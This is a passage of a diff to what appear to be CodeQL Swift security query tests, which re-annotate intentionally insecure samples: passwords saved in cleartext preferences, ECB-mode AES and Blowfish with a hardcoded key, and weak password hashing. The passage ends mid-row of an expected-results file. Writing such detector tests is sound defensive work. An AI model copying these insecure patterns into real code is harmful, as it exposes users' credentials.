NSUbiquitousKeyValueStore.default.set(x, forKey: "myKey") // BAD + doSomething(password: x); // $ Source[swift/cleartext-storage-preferences] + NSUbiquitousKeyValueStore.default.set(x, forKey: "myKey") // $ Alert[swift/cleartext-storage-preferences] - let y = getPassword(); - NSUbiquitousKeyValueStore.default.set(y, forKey: "myKey") // BAD + let y = getPassword(); // $ Source[swift/cleartext-storage-preferences] + NSUbiquitousKeyValueStore.default.set(y, forKey: "myKey") // $ Alert[swift/cleartext-storage-preferences] let z = MyClass() NSUbiquitousKeyValueStore.default.set(z.harmless, forKey: "myKey") // GOOD (not sensitive) - NSUbiquitousKeyValueStore.default.set(z.password, forKey: "myKey") // BAD + NSUbiquitousKeyValueStore.default.set(z.password, forKey: "myKey") // $ Alert[swift/cleartext-storage-preferences] } func test4(passwd: String) { // sanitizers... - var x = passwd; - var y = passwd; - var z = passwd; + var x = passwd; // $ Source[swift/cleartext-storage-preferences] + var y = passwd; // $ Source[swift/cleartext-storage-preferences] + var z = passwd; // $ Source[swift/cleartext-storage-preferences] - NSUbiquitousKeyValueStore.default.set(x, forKey: "myKey") // BAD - NSUbiquitousKeyValueStore.default.set(y, forKey: "myKey") // BAD - NSUbiquitousKeyValueStore.default.set(z, forKey: "myKey") // BAD + NSUbiquitousKeyValueStore.default.set(x, forKey: "myKey") // $ Alert[swift/cleartext-storage-preferences] + NSUbiquitousKeyValueStore.default.set(y, forKey: "myKey") // $ Alert[swift/cleartext-storage-preferences] + NSUbiquitousKeyValueStore.default.set(z, forKey: "myKey") // $ Alert[swift/cleartext-storage-preferences] x = encrypt(x); hash(data: &y); diff --git a/swift/ql/test/query-tests/Security/CWE-312/testUserDefaults.swift b/swift/ql/test/query-tests/Security/CWE-312/testUserDefaults.swift index 10a1a04eedf..cae889e562d 100644 --- a/swift/ql/test/query-tests/Security/CWE-312/testUserDefaults.swift +++ b/swift/ql/test/query-tests/Security/CWE-312/testUserDefaults.swift @@ -25,7 +25,7 @@ func doSomething(password: String) { } func test1(password: String, passwordHash : String) { let defaults = UserDefaults.standard - defaults.set(password, forKey: "myKey") // BAD + defaults.set(password, forKey: "myKey") // $ Alert[swift/cleartext-storage-preferences] defaults.set(passwordHash, forKey: "myKey") // GOOD (not sensitive) } @@ -38,27 +38,27 @@ func test3(x: String) { // alternative evidence of sensitivity... UserDefaults.standard.set(x, forKey: "myKey") // BAD [NOT REPORTED] - doSomething(password: x); - UserDefaults.standard.set(x, forKey: "myKey") // BAD + doSomething(password: x); // $ Source[swift/cleartext-storage-preferences] + UserDefaults.standard.set(x, forKey: "myKey") // $ Alert[swift/cleartext-storage-preferences] - let y = getPassword(); - UserDefaults.standard.set(y, forKey: "myKey") // BAD + let y = getPassword(); // $ Source[swift/cleartext-storage-preferences] + UserDefaults.standard.set(y, forKey: "myKey") // $ Alert[swift/cleartext-storage-preferences] let z = MyClass() UserDefaults.standard.set(z.harmless, forKey: "myKey") // GOOD (not sensitive) - UserDefaults.standard.set(z.password, forKey: "myKey") // BAD + UserDefaults.standard.set(z.password, forKey: "myKey") // $ Alert[swift/cleartext-storage-preferences] } func test4(passwd: String) { // sanitizers... - var x = passwd; - var y = passwd; - var z = passwd; + var x = passwd; // $ Source[swift/cleartext-storage-preferences] + var y = passwd; // $ Source[swift/cleartext-storage-preferences] + var z = passwd; // $ Source[swift/cleartext-storage-preferences] - UserDefaults.standard.set(x, forKey: "myKey") // BAD - UserDefaults.standard.set(y, forKey: "myKey") // BAD - UserDefaults.standard.set(z, forKey: "myKey") // BAD + UserDefaults.standard.set(x, forKey: "myKey") // $ Alert[swift/cleartext-storage-preferences] + UserDefaults.standard.set(y, forKey: "myKey") // $ Alert[swift/cleartext-storage-preferences] + UserDefaults.standard.set(z, forKey: "myKey") // $ Alert[swift/cleartext-storage-preferences] x = encrypt(x); hash(data: &y); @@ -79,6 +79,6 @@ struct MyOuter { } func test5(mo : MyOuter) { - UserDefaults.standard.set(mo.password.value, forKey: "myKey") // BAD + UserDefaults.standard.set(mo.password.value, forKey: "myKey") // $ Alert[swift/cleartext-storage-preferences] UserDefaults.standard.set(mo.harmless.value, forKey: "myKey") // GOOD } diff --git a/swift/ql/test/query-tests/Security/CWE-327/ECBEncryption.qlref b/swift/ql/test/query-tests/Security/CWE-327/ECBEncryption.qlref index ac56a6338b0..bee507b1cd0 100644 --- a/swift/ql/test/query-tests/Security/CWE-327/ECBEncryption.qlref +++ b/swift/ql/test/query-tests/Security/CWE-327/ECBEncryption.qlref @@ -1 +1,2 @@ -queries/Security/CWE-327/ECBEncryption.ql \ No newline at end of file +query: queries/Security/CWE-327/ECBEncryption.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/swift/ql/test/query-tests/Security/CWE-327/test.swift b/swift/ql/test/query-tests/Security/CWE-327/test.swift index 38226990561..2eb39595b93 100644 --- a/swift/ql/test/query-tests/Security/CWE-327/test.swift +++ b/swift/ql/test/query-tests/Security/CWE-327/test.swift @@ -36,7 +36,7 @@ func getRandomArray() -> Array { } func getECBBlockMode() -> BlockMode { - return ECB() + return ECB() // $ Source } func getCBCBlockMode() -> BlockMode { @@ -47,18 +47,18 @@ func getCBCBlockMode() -> BlockMode { func test1() { let key: Array = [0x2a, 0x3a, 0x80, 0x05, 0xaf, 0x46, 0x58, 0x2d, 0x66, 0x52, 0x10, 0xae, 0x86, 0xd3, 0x8e, 0x8f] - let ecb = ECB() + let ecb = ECB() // $ Source let iv = getRandomArray() let cbc = CBC(iv: iv) let padding = Padding.noPadding // AES test cases - let ab1 = AES(key: key, blockMode: ecb, padding: padding) // BAD - let ab2 = AES(key: key, blockMode: ecb) // BAD - let ab3 = AES(key: key, blockMode: ECB(), padding: padding) // BAD - let ab4 = AES(key: key, blockMode: ECB()) // BAD - let ab5 = AES(key: key, blockMode: getECBBlockMode(), padding: padding) // BAD - let ab6 = AES(key: key, blockMode: getECBBlockMode()) // BAD + let ab1 = AES(key: key, blockMode: ecb, padding: padding) // $ Alert + let ab2 = AES(key: key, blockMode: ecb) // $ Alert + let ab3 = AES(key: key, blockMode: ECB(), padding: padding) // $ Alert + let ab4 = AES(key: key, blockMode: ECB()) // $ Alert + let ab5 = AES(key: key, blockMode: getECBBlockMode(), padding: padding) // $ Alert + let ab6 = AES(key: key, blockMode: getECBBlockMode()) // $ Alert let ag1 = AES(key: key, blockMode: cbc, padding: padding) // GOOD let ag2 = AES(key: key, blockMode: cbc) // GOOD @@ -68,9 +68,9 @@ func test1() { let ag6 = AES(key: key, blockMode: getCBCBlockMode()) // GOOD // Blowfish test cases - let bb1 = Blowfish(key: key, blockMode: ecb, padding: padding) // BAD - let bb2 = Blowfish(key: key, blockMode: ECB(), padding: padding) // BAD - let bb3 = Blowfish(key: key, blockMode: getECBBlockMode(), padding: padding) // BAD + let bb1 = Blowfish(key: key, blockMode: ecb, padding: padding) // $ Alert + let bb2 = Blowfish(key: key, blockMode: ECB(), padding: padding) // $ Alert + let bb3 = Blowfish(key: key, blockMode: getECBBlockMode(), padding: padding) // $ Alert let bg1 = Blowfish(key: key, blockMode: cbc, padding: padding) // GOOD let bg2 = Blowfish(key: key, blockMode: CBC(iv: iv), padding: padding) // GOOD diff --git a/swift/ql/test/query-tests/Security/CWE-328/WeakPasswordHashing.expected b/swift/ql/test/query-tests/Security/CWE-328/WeakPasswordHashing.expected index 273f26164fd..2b0eed8d0c2 100644 --- a/swift/ql/test/query-tests/Security/CWE-328/WeakPasswordHashing.expected +++ b/swift/ql/test/query-tests/Security/CWE-328/WeakPasswordHashing.expected @@ -1,3 +1,52 @@ +#select +| testCryptoKit.swift:84:47:84:47 | passwd | testCryptoKit.swift:84:47:84:47 | passwd | testCryptoKit.swift:84:47:84:47 | passwd | Insecure hashing algorithm (MD5) depends on $@. | testCryptoKit.swift:84:47:84:47 | passwd | password (passwd) | +| testCryptoKit.swift:85:52:85:52 | passwd | testCryptoKit.swift:85:52:85:52 | passwd | testCryptoKit.swift:85:52:85:52 | passwd | Insecure hashing algorithm (MD5) depends on $@. | testCryptoKit.swift:85:52:85:52 | passwd | password (passwd) | +| testCryptoKit.swift:91:36:91:36 | passwd | testCryptoKit.swift:91:36:91:36 | passwd | testCryptoKit.swift:91:36:91:36 | passwd | Insecure hashing algorithm (MD5) depends on $@. | testCryptoKit.swift:91:36:91:36 | passwd | password (passwd) | +| testCryptoKit.swift:92:45:92:45 | passwd | testCryptoKit.swift:92:45:92:45 | passwd | testCryptoKit.swift:92:45:92:45 | passwd | Insecure hashing algorithm (MD5) depends on $@. | testCryptoKit.swift:92:45:92:45 | passwd | password (passwd) | +| testCryptoKit.swift:98:44:98:44 | passwd | testCryptoKit.swift:98:44:98:44 | passwd | testCryptoKit.swift:98:44:98:44 | passwd | Insecure hashing algorithm (SHA1) depends on $@. | testCryptoKit.swift:98:44:98:44 | passwd | password (passwd) | +| testCryptoKit.swift:99:53:99:53 | passwd | testCryptoKit.swift:99:53:99:53 | passwd | testCryptoKit.swift:99:53:99:53 | passwd | Insecure hashing algorithm (SHA1) depends on $@. | testCryptoKit.swift:99:53:99:53 | passwd | password (passwd) | +| testCryptoKit.swift:105:37:105:37 | passwd | testCryptoKit.swift:105:37:105:37 | passwd | testCryptoKit.swift:105:37:105:37 | passwd | Insecure hashing algorithm (SHA256) depends on $@. | testCryptoKit.swift:105:37:105:37 | passwd | password (passwd) | +| testCryptoKit.swift:106:46:106:46 | passwd | testCryptoKit.swift:106:46:106:46 | passwd | testCryptoKit.swift:106:46:106:46 | passwd | Insecure hashing algorithm (SHA256) depends on $@. | testCryptoKit.swift:106:46:106:46 | passwd | password (passwd) | +| testCryptoKit.swift:112:37:112:37 | passwd | testCryptoKit.swift:112:37:112:37 | passwd | testCryptoKit.swift:112:37:112:37 | passwd | Insecure hashing algorithm (SHA384) depends on $@. | testCryptoKit.swift:112:37:112:37 | passwd | password (passwd) | +| testCryptoKit.swift:113:46:113:46 | passwd | testCryptoKit.swift:113:46:113:46 | passwd | testCryptoKit.swift:113:46:113:46 | passwd | Insecure hashing algorithm (SHA384) depends on $@. | testCryptoKit.swift:113:46:113:46 | passwd | password (passwd) | +| testCryptoKit.swift:119:37:119:37 | passwd | testCryptoKit.swift:119:37:119:37 | passwd | testCryptoKit.swift:119:37:119:37 | passwd | Insecure hashing algorithm (SHA512) depends on $@. | testCryptoKit.swift:119:37:119:37 | passwd | password (passwd) | +| testCryptoKit.swift:120:46:120:46 | passwd | testCryptoKit.swift:120:46:120:46 | passwd | testCryptoKit.swift:120:46:120:46 | passwd | Insecure hashing algorithm (SHA512) depends on $@. | testCryptoKit.swift:120:46:120:46 | passwd | password (passwd) | +| testCryptoKit.swift:129:23:129:23 | passwd | testCryptoKit.swift:129:23:129:23 | passwd | testCryptoKit.swift:129:23:129:23 | passwd | Insecure hashing algorithm (MD5) depends on $@. | testCryptoKit.swift:129:23:129:23 | passwd | password (passwd) | +| testCryptoKit.swift:138:23:138:23 | passwd | testCryptoKit.swift:138:23:138:23 | passwd | testCryptoKit.swift:138:23:138:23 | passwd | Insecure hashing algorithm (SHA1) depends on $@. | testCryptoKit.swift:138:23:138:23 | passwd | password (passwd) | +| testCryptoKit.swift:147:23:147:23 | passwd | testCryptoKit.swift:147:23:147:23 | passwd | testCryptoKit.swift:147:23:147:23 | passwd | Insecure hashing algorithm (SHA256) depends on $@. | testCryptoKit.swift:147:23:147:23 | passwd | password (passwd) | +| testCryptoKit.swift:156:23:156:23 | passwd | testCryptoKit.swift:156:23:156:23 | passwd | testCryptoKit.swift:156:23:156:23 | passwd | Insecure hashing algorithm (SHA384) depends on $@. | testCryptoKit.swift:156:23:156:23 | passwd | password (passwd) | +| testCryptoKit.swift:165:23:165:23 | passwd | testCryptoKit.swift:165:23:165:23 | passwd | testCryptoKit.swift:165:23:165:23 | passwd | Insecure hashing algorithm (SHA512) depends on $@. | testCryptoKit.swift:165:23:165:23 | passwd | password (passwd) | +| testCryptoKit.swift:174:32:174:32 | passwd | testCryptoKit.swift:174:32:174:32 | passwd | testCryptoKit.swift:174:32:174:32 | passwd | Insecure hashing algorithm (MD5) depends on $@. | testCryptoKit.swift:174:32:174:32 | passwd | password (passwd) | +| testCryptoKit.swift:183:32:183:32 | passwd | testCryptoKit.swift:183:32:183:32 | passwd | testCryptoKit.swift:183:32:183:32 | passwd | Insecure hashing algorithm (SHA1) depends on $@. | testCryptoKit.swift:183:32:183:32 | passwd | password (passwd) | +| testCryptoKit.swift:192:32:192:32 | passwd | testCryptoKit.swift:192:32:192:32 | passwd | testCryptoKit.swift:192:32:192:32 | passwd | Insecure hashing algorithm (SHA256) depends on $@. | testCryptoKit.swift:192:32:192:32 | passwd | password (passwd) | +| testCryptoKit.swift:201:32:201:32 | passwd | testCryptoKit.swift:201:32:201:32 | passwd | testCryptoKit.swift:201:32:201:32 | passwd | Insecure hashing algorithm (SHA384) depends on $@. | testCryptoKit.swift:201:32:201:32 | passwd | password (passwd) | +| testCryptoKit.swift:210:32:210:32 | passwd | testCryptoKit.swift:210:32:210:32 | passwd | testCryptoKit.swift:210:32:210:32 | passwd | Insecure hashing algorithm (SHA512) depends on $@. | testCryptoKit.swift:210:32:210:32 | passwd | password (passwd) | +| testCryptoKit.swift:220:49:220:49 | passwordData | testCryptoKit.swift:220:49:220:49 | passwordData | testCryptoKit.swift:220:49:220:49 | passwordData | Insecure hashing algorithm (SHA512) depends on $@. | testCryptoKit.swift:220:49:220:49 | passwordData | password (passwordData) | +| testCryptoKit.swift:224:33:224:57 | call to Data.init(_:) | testCryptoKit.swift:224:38:224:38 | passwordString | testCryptoKit.swift:224:33:224:57 | call to Data.init(_:) | Insecure hashing algorithm (SHA512) depends on $@. | testCryptoKit.swift:224:38:224:38 | passwordString | password (passwordString) | +| testCryptoSwift.swift:154:30:154:30 | passwdArray | testCryptoSwift.swift:154:30:154:30 | passwdArray | testCryptoSwift.swift:154:30:154:30 | passwdArray | Insecure hashing algorithm (MD5) depends on $@. | testCryptoSwift.swift:154:30:154:30 | passwdArray | password (passwdArray) | +| testCryptoSwift.swift:157:31:157:31 | passwdArray | testCryptoSwift.swift:157:31:157:31 | passwdArray | testCryptoSwift.swift:157:31:157:31 | passwdArray | Insecure hashing algorithm (SHA1) depends on $@. | testCryptoSwift.swift:157:31:157:31 | passwdArray | password (passwdArray) | +| testCryptoSwift.swift:160:47:160:47 | passwdArray | testCryptoSwift.swift:160:47:160:47 | passwdArray | testCryptoSwift.swift:160:47:160:47 | passwdArray | Insecure hashing algorithm (SHA2) depends on $@. | testCryptoSwift.swift:160:47:160:47 | passwdArray | password (passwdArray) | +| testCryptoSwift.swift:163:47:163:47 | passwdArray | testCryptoSwift.swift:163:47:163:47 | passwdArray | testCryptoSwift.swift:163:47:163:47 | passwdArray | Insecure hashing algorithm (SHA2) depends on $@. | testCryptoSwift.swift:163:47:163:47 | passwdArray | password (passwdArray) | +| testCryptoSwift.swift:167:20:167:20 | passwdArray | testCryptoSwift.swift:167:20:167:20 | passwdArray | testCryptoSwift.swift:167:20:167:20 | passwdArray | Insecure hashing algorithm (MD5) depends on $@. | testCryptoSwift.swift:167:20:167:20 | passwdArray | password (passwdArray) | +| testCryptoSwift.swift:170:21:170:21 | passwdArray | testCryptoSwift.swift:170:21:170:21 | passwdArray | testCryptoSwift.swift:170:21:170:21 | passwdArray | Insecure hashing algorithm (SHA1) depends on $@. | testCryptoSwift.swift:170:21:170:21 | passwdArray | password (passwdArray) | +| testCryptoSwift.swift:173:23:173:23 | passwdArray | testCryptoSwift.swift:173:23:173:23 | passwdArray | testCryptoSwift.swift:173:23:173:23 | passwdArray | Insecure hashing algorithm (SHA512) depends on $@. | testCryptoSwift.swift:173:23:173:23 | passwdArray | password (passwdArray) | +| testCryptoSwift.swift:176:21:176:21 | passwdArray | testCryptoSwift.swift:176:21:176:21 | passwdArray | testCryptoSwift.swift:176:21:176:21 | passwdArray | Insecure hashing algorithm (SHA2) depends on $@. | testCryptoSwift.swift:176:21:176:21 | passwdArray | password (passwdArray) | +| testCryptoSwift.swift:179:21:179:21 | passwdArray | testCryptoSwift.swift:179:21:179:21 | passwdArray | testCryptoSwift.swift:179:21:179:21 | passwdArray | Insecure hashing algorithm (SHA3) depends on $@. | testCryptoSwift.swift:179:21:179:21 | passwdArray | password (passwdArray) | +| testCryptoSwift.swift:183:9:183:9 | passwdArray | testCryptoSwift.swift:183:9:183:9 | passwdArray | testCryptoSwift.swift:183:9:183:9 | passwdArray | Insecure hashing algorithm (MD5) depends on $@. | testCryptoSwift.swift:183:9:183:9 | passwdArray | password (passwdArray) | +| testCryptoSwift.swift:186:9:186:9 | passwdArray | testCryptoSwift.swift:186:9:186:9 | passwdArray | testCryptoSwift.swift:186:9:186:9 | passwdArray | Insecure hashing algorithm (SHA1) depends on $@. | testCryptoSwift.swift:186:9:186:9 | passwdArray | password (passwdArray) | +| testCryptoSwift.swift:189:9:189:9 | passwdArray | testCryptoSwift.swift:189:9:189:9 | passwdArray | testCryptoSwift.swift:189:9:189:9 | passwdArray | Insecure hashing algorithm (SHA512) depends on $@. | testCryptoSwift.swift:189:9:189:9 | passwdArray | password (passwdArray) | +| testCryptoSwift.swift:192:9:192:9 | passwdArray | testCryptoSwift.swift:192:9:192:9 | passwdArray | testCryptoSwift.swift:192:9:192:9 | passwdArray | Insecure hashing algorithm (SHA2) depends on $@. | testCryptoSwift.swift:192:9:192:9 | passwdArray | password (passwdArray) | +| testCryptoSwift.swift:195:9:195:9 | passwdArray | testCryptoSwift.swift:195:9:195:9 | passwdArray | testCryptoSwift.swift:195:9:195:9 | passwdArray | Insecure hashing algorithm (SHA3) depends on $@. | testCryptoSwift.swift:195:9:195:9 | passwdArray | password (passwdArray) | +| testCryptoSwift.swift:201:9:201:9 | passwdData | testCryptoSwift.swift:201:9:201:9 | passwdData | testCryptoSwift.swift:201:9:201:9 | passwdData | Insecure hashing algorithm (MD5) depends on $@. | testCryptoSwift.swift:201:9:201:9 | passwdData | password (passwdData) | +| testCryptoSwift.swift:204:9:204:9 | passwdData | testCryptoSwift.swift:204:9:204:9 | passwdData | testCryptoSwift.swift:204:9:204:9 | passwdData | Insecure hashing algorithm (SHA1) depends on $@. | testCryptoSwift.swift:204:9:204:9 | passwdData | password (passwdData) | +| testCryptoSwift.swift:207:9:207:9 | passwdData | testCryptoSwift.swift:207:9:207:9 | passwdData | testCryptoSwift.swift:207:9:207:9 | passwdData | Insecure hashing algorithm (SHA512) depends on $@. | testCryptoSwift.swift:207:9:207:9 | passwdData | password (passwdData) | +| testCryptoSwift.swift:210:9:210:9 | passwdData | testCryptoSwift.swift:210:9:210:9 | passwdData | testCryptoSwift.swift:210:9:210:9 | passwdData | Insecure hashing algorithm (SHA2) depends on $@. | testCryptoSwift.swift:210:9:210:9 | passwdData | password (passwdData) | +| testCryptoSwift.swift:213:9:213:9 | passwdData | testCryptoSwift.swift:213:9:213:9 | passwdData | testCryptoSwift.swift:213:9:213:9 | passwdData | Insecure hashing algorithm (SHA3) depends on $@. | testCryptoSwift.swift:213:9:213:9 | passwdData | password (passwdData) | +| testCryptoSwift.swift:219:9:219:9 | passwd | testCryptoSwift.swift:219:9:219:9 | passwd | testCryptoSwift.swift:219:9:219:9 | passwd | Insecure hashing algorithm (MD5) depends on $@. | testCryptoSwift.swift:219:9:219:9 | passwd | password (passwd) | +| testCryptoSwift.swift:222:9:222:9 | passwd | testCryptoSwift.swift:222:9:222:9 | passwd | testCryptoSwift.swift:222:9:222:9 | passwd | Insecure hashing algorithm (SHA1) depends on $@. | testCryptoSwift.swift:222:9:222:9 | passwd | password (passwd) | +| testCryptoSwift.swift:225:9:225:9 | passwd | testCryptoSwift.swift:225:9:225:9 | passwd | testCryptoSwift.swift:225:9:225:9 | passwd | Insecure hashing algorithm (SHA512) depends on $@. | testCryptoSwift.swift:225:9:225:9 | passwd | password (passwd) | +| testCryptoSwift.swift:228:9:228:9 | passwd | testCryptoSwift.swift:228:9:228:9 | passwd | testCryptoSwift.swift:228:9:228:9 | passwd | Insecure hashing algorithm (SHA2) depends on $@. | testCryptoSwift.swift:228:9:228:9 | passwd | password (passwd) | +| testCryptoSwift.swift:231:9:231:9 | passwd | testCryptoSwift.swift:231:9:231:9 | passwd | testCryptoSwift.swift:231:9:231:9 | passwd | Insecure hashing algorithm (SHA3) depends on $@. | testCryptoSwift.swift:231:9:231:9 | passwd | password (passwd) | edges | testCryptoKit.swift:224:38:224:38 | passwordString | testCryptoKit.swift:224:38:224:53 | .utf8 | provenance | | | testCryptoKit.swift:224:38:224:53 | .utf8 | testCryptoKit.swift:224:33:224:57 | call to Data.init(_:) | provenance | | @@ -53,52 +102,3 @@ nodes | testCryptoSwift.swift:228:9:228:9 | passwd | semmle.label | passwd | | testCryptoSwift.swift:231:9:231:9 | passwd | semmle.label | passwd | subpaths -#select -| testCryptoKit.swift:84:47:84:47 | passwd | testCryptoKit.swift:84:47:84:47 | passwd | testCryptoKit.swift:84:47:84:47 | passwd | Insecure hashing algorithm (MD5) depends on $@. | testCryptoKit.swift:84:47:84:47 | passwd | password (passwd) | -| testCryptoKit.swift:85:52:85:52 | passwd | testCryptoKit.swift:85:52:85:52 | passwd | testCryptoKit.swift:85:52:85:52 | passwd | Insecure hashing algorithm (MD5) depends on $@. | testCryptoKit.swift:85:52:85:52 | passwd | password (passwd) | -| testCryptoKit.swift:91:36:91:36 | passwd | testCryptoKit.swift:91:36:91:36 | passwd | testCryptoKit.swift:91:36:91:36 | passwd | Insecure hashing algorithm (MD5) depends on $@. | testCryptoKit.swift:91:36:91:36 | passwd | password (passwd) | -| testCryptoKit.swift:92:45:92:45 | passwd | testCryptoKit.swift:92:45:92:45 | passwd | testCryptoKit.swift:92:45:92:45 | passwd | Insecure hashing algorithm (MD5) depends on $@. | testCryptoKit.swift:92:45:92:45 | passwd | password (passwd) | -| testCryptoKit.swift:98:44:98:44 | passwd | testCryptoKit.swift:98:44:98:44 | passwd | testCryptoKit.swift:98:44:98:44 | passwd | Insecure hashing algorithm (SHA1) depends on $@. | testCryptoKit.swift:98:44:98:44 | passwd | password (passwd) | -| testCryptoKit.swift:99:53:99:53 | passwd | testCryptoKit.swift:99:53:99:53 | passwd | testCryptoKit.swift:99:53:99:53 | passwd | Insecure hashing algorithm (SHA1) depends on $@. | testCryptoKit.swift:99:53:99:53 | passwd | password (passwd) | -| testCryptoKit.swift:105:37:105:37 | passwd | testCryptoKit.swift:105:37:105:37 | passwd | testCryptoKit.swift:105:37:105:37 | passwd | Insecure hashing algorithm (SHA256) depends on $@. | testCryptoKit.swift:105:37:105:37 | passwd | password (passwd) | -| testCryptoKit.swift:106:46:106:46 | passwd | testCryptoKit.swift:106:46:106:46 | passwd | testCryptoKit.swift:106:46:106:46 | passwd | Insecure hashing algorithm (SHA256) depends on $@. | testCryptoKit.swift:106:46:106:46 | passwd | password (passwd) | -| testCryptoKit.swift:112:37:112:37 | passwd | testCryptoKit.swift:112:37:112:37 | passwd | testCryptoKit.swift:112:37:112:37 | passwd | Insecure hashing algorithm (SHA384) depends on $@. | testCryptoKit.swift:112:37:112:37 | passwd | password (passwd) | -| testCryptoKit.swift:113:46:113:46 | passwd | testCryptoKit.swift:113:46:113:46 | passwd | testCryptoKit.swift:113:46:113:46 | passwd | Insecure hashing algorithm (SHA384) depends on $@. | testCryptoKit.swift:113:46:113:46 | passwd | password (passwd) | -| testCryptoKit.swift:119:37:119:37 | passwd | testCryptoKit.swift:119:37:119:37 | passwd | testCryptoKit.swift:119:37:119:37 | passwd | Insecure hashing algorithm (SHA512) depends on $@. | testCryptoKit.swift:119:37:119:37 | passwd | password (passwd) | -| testCryptoKit.swift:120:46:120:46 | passwd | testCryptoKit.swift:120:46:120:46 | passwd | testCryptoKit.swift:120:46:120:46 | passwd | Insecure hashing algorithm (SHA512) depends on $@. | testCryptoKit.swift:120:46:120:46 | passwd | password (passwd) | -| testCryptoKit.swift:129:23:129:23 | passwd | testCryptoKit.swift:129:23:129:23 | passwd | testCryptoKit.swift:129:23:129:23 | passwd | Insecure hashing algorithm (MD5) depends on $@. | testCryptoKit.swift:129:23:129:23 | passwd | password (passwd) | -| testCryptoKit.swift:138:23:138:23 | passwd | testCryptoKit.swift:138:23:138:23 | passwd | testCryptoKit.swift:138:23:138:23 | passwd | Insecure hashing algorithm (SHA1) depends on $@. | testCryptoKit.swift:138:23:138:23 | passwd | password (passwd) | -| testCryptoKit.swift:147:23:147:23 | passwd | testCryptoKit.swift:147:23:147:23 | passwd | testCryptoKit.swift:147:23:147:23 | passwd | Insecure hashing algorithm (SHA256) depends on $@. | testCryptoKit.swift:147:23:147:23 | passwd | password (passwd) | -| testCryptoKit.swift:156:23:156:23 | passwd | testCryptoKit.swift:156:23:156:23 | passwd | testCryptoKit.swift:156:23:156:23 | passwd | Insecure hashing algorithm (SHA384) depends on $@. | testCryptoKit.swift:156:23:156:23 | passwd | password (passwd) | -| testCryptoKit.swift:165:23:165:23 | passwd | testCryptoKit.swift:165:23:165:23 | passwd | testCryptoKit.swift:165:23:165:23 | passwd | Insecure hashing algorithm (SHA512) depends on $@. | testCryptoKit.swift:165:23:165:23 | passwd | password (passwd) | -| testCryptoKit.swift:174:32:174:32 | passwd | testCryptoKit.swift:174:32:174:32 | passwd | testCryptoKit.swift:174:32:174:32 | passwd | Insecure hashing algorithm (MD5) depends on $@. | testCryptoKit.swift:174:32:174:32 | passwd | password (passwd) | -| testCryptoKit.swift:183:32:183:32 | passwd | testCryptoKit.swift:183:32:183:32 | passwd | testCryptoKit.swift:183:32:183:32 | passwd | Insecure hashing algorithm (SHA1) depends on $@. | testCryptoKit.swift:183:32:183:32 | passwd | password (passwd) | -| testCryptoKit.swift:192:32:192:32 | passwd | testCryptoKit.swift:192:32:192:32 | passwd | testCryptoKit.swift:192:32:192:32 | passwd | Insecure hashing algorithm (SHA256) depends on $@. | testCryptoKit.swift:192:32:192:32 | passwd | password (passwd) | -| testCryptoKit.swift:201:32:201:32 | passwd | testCryptoKit.swift:201:32:201:32 | passwd | testCryptoKit.swift:201:32:201:32 | passwd | Insecure hashing algorithm (SHA384) depends on $@. | testCryptoKit.swift:201:32:201:32 | passwd | password (passwd) | -| testCryptoKit.swift:210:32:210:32 | passwd | testCryptoKit.swift:210:32:210:32 | passwd | testCryptoKit.swift:210:32:210:32 | passwd | Insecure hashing algorithm (SHA512) depends on $@. | testCryptoKit.swift:210:32:210:32 | passwd | password (passwd) | -| testCryptoKit.swift:220:49:220:49 | passwordData | testCryptoKit.swift:220:49:220:49 | passwordData | testCryptoKit.swift:220:49:220:49 | passwordData | Insecure hashing algorithm (SHA512) depends on $@. | testCryptoKit.swift:220:49:220:49 | passwordData | password (passwordData) | -| testCryptoKit.swift:224:33:224:57 | call to Data.init(_:) | testCryptoKit.swift:224:38:224:38 | passwordString | testCryptoKit.swift:224:33:224:57 | call to Data.init(_:) | Insecure hashing algorithm (SHA512) depends on $@. | testCryptoKit.swift:224:38:224:38 | passwordString | password (passwordString) | -| testCryptoSwift.swift:154:30:154:30 | passwdArray | testCryptoSwift.swift:154:30:154:30 | passwdArray | testCryptoSwift.swift:154:30:154:30 | passwdArray | Insecure hashing algorithm (MD5) depends on $@. | testCryptoSwift.swift:154:30:154:30 | passwdArray | password (passwdArray) | -| testCryptoSwift.swift:157:31:157:31 | passwdArray | testCryptoSwift.swift:157:31:157:31 | passwdArray | testCryptoSwift.swift:157:31:157:31 | passwdArray | Insecure hashing algorithm (SHA1) depends on $@. | testCryptoSwift.swift:157:31:157:31 | passwdArray | password (passwdArray) | -| testCryptoSwift.swift:160:47:160:47 | passwdArray | testCryptoSwift.swift:160:47:160:47 | passwdArray | testCryptoSwift.swift:160:47:160:47 | passwdArray | Insecure hashing algorithm (SHA2) depends on $@. | testCryptoSwift.swift:160:47:160:47 | passwdArray | password (passwdArray) | -| testCryptoSwift.swift:163:47:163:47 | passwdArray | testCryptoSwift.swift:163:47:163:47 | passwdArray | testCryptoSwift.swift:163:47:163:47 | passwdArray | Insecure hashing algorithm (SHA2) depends on $@. | testCryptoSwift.swift:163:47:163:47 | passwdArray | password (passwdArray) | -| testCryptoSwift.swift:167:20:167:20 | passwdArray | testCryptoSwift.swift:167:20:167:20 | passwdArray | testCryptoSwift.swift:167:20:167:20 | passwdArray | Insecure hashing algorithm (MD5) depends on $@. | testCryptoSwift.swift:167:20:167:20 | passwdArray | password (passwdArray) | -| testCryptoSwift.swift:170:21:170:21 | passwdArray | testCryptoSwift.swift:170:21:170:21 | passwdArray | testCryptoSwift.swift:170:21:170:21 | passwdArray | Insecure hashing algorithm (SHA1) depends on $@. | testCryptoSwift.swift:170:21:170:21 | passwdArray | password (passwdArray) | -| testCryptoSwift.swift:173:23:173:23 | passwdArray | testCryptoSwift.swift:173:23:173:23 | passwdArray | testCryptoSwift.swift:173:23:173:23 | passwdArray | Insecure hashing algorithm (SHA512) depends on $@. | testCryptoSwift.swift:173:23:173:23 | passwdArray | password (passwdArray) | -| testCryptoSwift.swift:176:21:176:21 | passwdArray | testCryptoSwift.swift:176:21:176:21 | passwdArray | testCryptoSwift.swift:176:21:176:21 | passwdArray | Insecure hashing algorithm (SHA2) depends on $@. | testCryptoSwift.swift:176:21:176:21 | passwdArray | password (passwdArray) | -| testCryptoSwift.swift:179:21:179:21 | passwdArray | testCryptoSwift.swift:179:21:179:21 | passwdArray | testCryptoSwift.swift:179:21:179:21 | passwdArray | Insecure hashing algorithm (SHA3) depends on $@. | testCryptoSwift.swift:179:21:179:21 | passwdArray | password (passwdArray) | -| testCryptoSwift.swift:183:9:183:9 | passwdArray | testCryptoSwift.swift:183:9:183:9 | passwdArray | testCryptoSwift.swift:183:9:183:9 | passwdArray | Insecure 